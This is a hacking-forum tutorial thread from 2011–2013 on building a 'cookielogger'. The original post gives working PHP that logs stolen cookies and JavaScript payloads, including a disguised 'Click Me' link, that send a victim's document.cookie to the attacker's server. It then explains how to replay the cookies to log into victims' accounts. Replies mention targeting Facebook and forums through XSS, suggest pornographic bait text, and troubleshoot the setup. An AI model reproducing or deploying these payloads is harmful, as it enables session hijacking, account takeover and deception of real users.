Sinisterly
How to make a cookielogger [TUT] - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: How to make a cookielogger [TUT] (/Thread-How-to-make-a-cookielogger-TUT)

Pages: 1 2


How to make a cookielogger [TUT] - JuiceKing - 10-20-2011

Register here: http://www.000webhost.com/
Upload these files:
First make a steal.php
Code:
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
header( 'Location: http://www.google.com' ) ;
?>
Replace "www.google.com" with something funny.That's redirect link.

Then make a blank text document: "log.txt"
Then make a new html: "whatever.html"
add this code to html:
Code:
<html>
<body>
<script>
document.location = 'http://yourwebsite.com/steal.php?cookie=' + document.cookie;
</script>
</body>
</html>

Copy the link: http://www.yourwebsite.com/index.html and send to victim when victim click steal.php steal the cookies and save it in log.txt
Try on yourself first.It's work for me.

U can use this for forum:
Code:
<a href="javascript:void(document.location='http://yourwebsite.com/steal.php?cookie='+
document.cookie)">Click Me</a>

Post on thread when victim click, steal.php steal the cookies.Then use a cookie editor to replace the cookies and login.

Credits go to: JuiceKing


RE: How to make a cookielogger [TUT] - Aluxian - 10-20-2011

Nice tutorial. I like the method, it's so easy. I prefer the "Click Me" trick Biggrin


RE: How to make a cookielogger [TUT] - TheShadow1 - 10-20-2011

WOW! Nice tutorial for a newb like me!

Deff gonna try this out!


RE: How to make a cookielogger [TUT] - Nathan - 10-20-2011

WOW....................................................
WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
THIS IS SO HELPFULL TonguePPPPPPPPPPPPPPPPP


RE: How to make a cookielogger [TUT] - JuiceKing - 10-20-2011

(10-20-2011, 07:02 PM)Aluxian Wrote: Nice tutorial. I like the method, it's so easy. I prefer the "Click Me" trick Biggrin

Thanks.You can write "Click here for free Brazzers HD Porn videos" Biggrin
(10-20-2011, 07:07 PM)TheShadow1 Wrote: WOW! Nice tutorial for a newb like me!

Deff gonna try this out!

You're welcome!I'm try it, it's work.
(10-20-2011, 08:33 PM)Nathan Wrote: WOW....................................................
WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
THIS IS SO HELPFULL TonguePPPPPPPPPPPPPPPPP

Thanks... Biggrin ^^


RE: How to make a cookielogger [TUT] - JuiceKing - 10-31-2011

(10-31-2011, 01:07 PM)..0lupr0xyz.. Wrote: bt is nt wrking 4 emails. .y

No i'm try for Facebook.You can steal cookies from forums.You can use it for XSS.


RE: How to make a cookielogger [TUT] - csdidocs - 01-16-2013

please help me when someone comes steal.php. Do not give me anything log.tht only rows 1,2,3,4 .... please help tell me where I'm wrong. 6:00 I could not fix it and I can notSad


RE: How to make a cookielogger [TUT] - csdidocs - 01-16-2013

please help me when someone comes steal.php. Do not give me anything log.tht only rows 1,2,3,4 .... please help tell me where I'm wrong. 6:00 I could not fix it and I can notSad


RE: How to make a cookielogger [TUT] - csdidocs - 01-16-2013

please help me when someone comes steal.php. Do not give me anything log.tht only rows 1,2,3,4 .... please help tell me where I'm wrong. 6:00 I could not fix it and I can notSad


RE: How to make a cookielogger [TUT] - The Alchemist - 01-16-2013

(01-16-2013, 11:04 AM)csdidocs Wrote: please help me when someone comes steal.php. Do not give me anything log.tht only rows 1,2,3,4 .... please help tell me where I'm wrong. 6:00 I could not fix it and I can notSad
You need to upload both the html file as well as the php file(that is given above) in your web host, in the same directory.
And when anyone opens the html file, you'll get the cookies in log.txt
Simple and effective.